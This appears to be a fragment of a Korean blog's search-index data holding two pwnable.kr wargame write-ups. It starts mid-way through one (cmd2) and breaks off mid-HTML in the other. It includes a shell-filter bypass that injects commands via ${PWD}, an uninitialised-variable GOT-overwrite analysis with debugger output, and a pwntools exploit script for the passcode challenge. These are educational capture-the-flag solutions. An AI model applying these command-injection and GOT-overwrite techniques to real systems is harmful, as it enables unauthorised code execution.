~/cmd2 \u0026#34;\\$(\\${PWD}bin\\${PWD}cat \\${PWD}home\\${PWD}cmd2\\${PWD}fla*)\u0026#34; $(${PWD}bin${PWD}cat ${PWD}home${PWD}cmd2${PWD}fla*) sh: 1: FuN_w1th_5h3ll_v4riabl3s_haha: not found 간단하게 풀렸네요!\n지저분하게 역슬래시로 이스케이핑을 한 이유는 현재 쉘이 아닌 cmd2 바이너리의 system() 에서 뜬 내부 쉘에서 실행되어야 하기 때문입니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2020-04-14-pwnable-kr-cmd2-writeup/","summary":"\u003cp\u003e이번 문제는 특이하게 커멘드를 입력받아 system 함수로 실행해줍니다.\u003c/p\u003e\n\u003cp\u003e하지만 모든 환경 변수가 지워지고 PATH 도 이상하게 바뀝니다. 게다가 입력되는 커멘드에서 환경변수와 관련된 문자열도 필터링됩니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eDaddy bought me a system command shell.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003ebut he put some filters to prevent me from playing with it without his permission...\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003ebut I wanna play anytime I want!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003essh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e===========================================================\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003ecmd2@ubuntu:~$ checksec cmd2\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e[*] \u0026#39;/home/cmd2/cmd2\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    Arch:       amd64-64-little\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    RELRO:      Partial RELRO\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    Stack:      No canary found\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    NX:         NX enabled\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    PIE:        No PIE (0x400000)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    Stripped:   No\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efilter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003er\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003er\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003estrstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;=\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003er\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003estrstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;PATH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003er\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003estrstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;export\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003er\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003estrstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;/\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003er\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003estrstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;`\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003er\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003estrstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;flag\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003er\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eextern\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e \u003cspan class=\"n\"\u003eenviron\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003edelete_env\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e \u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eenviron\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nf\"\u003ememset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nf\"\u003estrlen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[],\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e \u003cspan class=\"n\"\u003eenvp\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003edelete_env\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eputenv\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;PATH=/no_command_execution_until_you_become_a_hacker\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003efilter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003esystem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e처음엔 여러가지 명령어를 시도해봤는데 PATH 때문에 당연히 먹히지 않았습니다.\u003c/p\u003e","title":"pwnable.kr cmd2 Writeup"},{"content":"이번 문제는 인증 절차를 무력화 시켜 플래그를 얻는 문제입니다.\n/* Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh passcode@pwnable.kr -p2222 (pw:guest) ========================================================= passcode@pwnable:~$ checksec ./passcode [*] \u0026#39;/home/passcode/passcode\u0026#39; Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; void login() { int passcode1; int passcode2; printf(\u0026#34;enter passcode1 : \u0026#34;); scanf(\u0026#34;%d\u0026#34;, passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf(\u0026#34;enter passcode2 : \u0026#34;); scanf(\u0026#34;%d\u0026#34;, passcode2); printf(\u0026#34;checking...\\n\u0026#34;); if (passcode1 == 338150 \u0026amp;\u0026amp; passcode2 == 13371337) { printf(\u0026#34;Login OK!\\n\u0026#34;); system(\u0026#34;/bin/cat flag\u0026#34;); } else { printf(\u0026#34;Login Failed!\\n\u0026#34;); exit(0); } } void welcome() { char name[100]; printf(\u0026#34;enter you name : \u0026#34;); scanf(\u0026#34;%100s\u0026#34;, name); printf(\u0026#34;Welcome %s!\\n\u0026#34;, name); } int main() { printf(\u0026#34;Toddler\u0026#39;s Secure Login System 1.0 beta.\\n\u0026#34;); welcome(); login(); // something after login... printf(\u0026#34;Now I can safely trust you that you have credential :)\\n\u0026#34;); return 0; } 코드를 보면 scanf() 에 주소 연산자가 누락되어있어 두 passcode 변수는 입력을 받을 수 있는 상황이 아닙니다.\n그리고 브루트포스도 32비트라서 하나는 가능할지 몰라도 두개까지 맞춘다는건 불가능에 가깝습니다.\n눈에 띄는점은 welcome() 의 name 변수 길이가 상당히 길고 login() 에 존재하는 두 passcode 변수는 초기화를 안하고 사용하고 있습니다.\nwelcome ================================================ Stack level 0, frame at 0xffa10a70: eip = 0x804862f in welcome; saved eip = 0x804867f called by frame at 0xffa10a90 Arglist at 0xffa10a68, args: Locals at 0xffa10a68, Previous frame\u0026#39;s sp is 0xffa10a70 Saved registers: ebp at 0xffa10a68, eip at 0xffa10a6c login ================================================ Stack level 0, frame at 0xffa10a70: eip = 0x8048586 in login; saved eip = 0x8048684 called by frame at 0xffa10a90 Arglist at 0xffa10a68, args: Locals at 0xffa10a68, Previous frame\u0026#39;s sp is 0xffa10a70 Saved registers: ebp at 0xffa10a68, eip at 0xffa10a6c 스택상으로 보면 welcome() 과 login() 이 동일한 스택 영역을 재활용 하기 때문에 name 변수에 값을 잘만 넣어주면 passcode 를 원하는 값으로 셋팅할 수 있겠네요.\npwndbg\u0026gt; x/x $ebp-0x70 0xffc88ed8: 0x00000028 pwndbg\u0026gt; x/x $ebp-0x10 0xffc88f38: 0xf7e57cab pwndbg\u0026gt; x/x $ebp-0x0c 0xffc88f3c: 0x164b5400 pwndbg\u0026gt; p/d ($ebp-0x10)-($ebp-0x70) $3 = 96 pwndbg\u0026gt; p/d ($ebp-0x0c)-($ebp-0x70) $4 = 100 name 의 주소는 0xffc88ed8 이고, 오프셋을 계산해보면 passcode1 은 96바이트, passcode2 는 100바이트 뒤에 존재합니다.\n흠\u0026hellip; passcode1 은 덮을 수 있는데 passcode2 는 범위 밖이라 불가능합니다.\npwndbg\u0026gt; x/wx $ebp-0x0c 0xffe4ec0c: 0x8b85a800 pwndbg\u0026gt; run \u0026lt;\u0026lt;\u0026lt; $(python -c \u0026#39;print(\u0026#34;a\u0026#34;*96+\u0026#34;\\xe6\\x28\\x05\u0026#34;)\u0026#39;) Starting program: /home/andrew/fun/writeups/wargame/pwnablekr/passcode/passcode \u0026lt;\u0026lt;\u0026lt; $(python -c \u0026#39;print(\u0026#34;a\u0026#34;*96+\u0026#34;\\xe6\\x28\\x05\u0026#34;)\u0026#39;) pwndbg\u0026gt; x/wx $ebp-0x0c 0xffc5447c: 0x622e3800 차라리 다른 방향으로 꺾는게 나을 것 같습니다.\n문제 코드를 다시 보면 passcode1 이 초기화되지 않기 때문에 welcome() 에서 passcode1 을 원하는 주소로 덮으면 이후 scanf(\u0026quot;%d\u0026quot;,passcode1) 에서 받아들인 정수 값은 제가 임의로 쓴 주소에 write 되게 됩니다.\nvoid login() { int passcode1; int passcode2; printf(\u0026#34;enter passcode1 : \u0026#34;); scanf(\u0026#34;%d\u0026#34;, passcode1); fflush(stdin); 현재 바이너리에는 Partial RELRO 가 적용되어있어 GOT 영역에 쓰기가 가능합니다.\n그러니 scanf() 직후 호출되는 fflush() 즉, fflush@got.plt 에 원하는 주소를 write 해주면 fflush() 호출 시 GOT 를 따라 해당 코드로 점프하게 됩니다.\nPLT/GOT 의 동작 과정은 저번 포스팅에서 이미 다뤘으니 생략하겠습니다.\n0x080485d7 \u0026lt;+115\u0026gt;: mov DWORD PTR [esp],0x80487a5 0x080485de \u0026lt;+122\u0026gt;: call 0x8048450 \u0026lt;puts@plt\u0026gt; 0x080485e3 \u0026lt;+127\u0026gt;: mov DWORD PTR [esp],0x80487af 0x080485ea \u0026lt;+134\u0026gt;: call 0x8048460 \u0026lt;system@plt\u0026gt; 덮을 주소는 passcode 조건 체크 로직 뒤 system(\u0026quot;/bin/cat flag\u0026quot;); 를 실행하는 부분으로 하겠습니다.\n#!/usr/bin/env python from pwn import * context.log_level = \u0026#34;debug\u0026#34; conn = ssh(host=\u0026#34;pwnable.kr\u0026#34;, port=2222, user=\u0026#34;passcode\u0026#34;, password=\u0026#34;guest\u0026#34;) proc = conn.process(executable=\u0026#34;./passcode\u0026#34;, argv=[\u0026#34;./passcode\u0026#34;]) fflush_got = 0x804a004 system = 0x080485d7 payload = \u0026#34;a\u0026#34;*96 payload += p32(fflush_got) payload += str(int(system)) print(proc.recvline(1024, timeout=1.0)) proc.sendline(payload) print(proc.recvall(timeout=1.0)) proc.close() 이제 GOT 를 덮으면 fflush() 가 호출되는 대신에 플래그가 출력됩니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2020-04-14-pwnable-kr-passcode-writeup/","summary":"\u003cp\u003e이번 문제는 인증 절차를 무력화 시켜 플래그를 얻는 문제입니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eMommy told me to make a passcode based login system.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eMy initial C code was compiled without any error!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eWell, there was some compiler warning, but who cares about that?\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003essh passcode@pwnable.kr -p2222 (pw:guest)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e=========================================================\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003epasscode@pwnable:~$ checksec ./passcode\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e[*] \u0026#39;/home/passcode/passcode\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    Arch:     i386-32-little\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    RELRO:    Partial RELRO\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    Stack:    Canary found\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    NX:       NX enabled\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    PIE:      No PIE (0x8048000)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003elogin\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003epasscode1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan 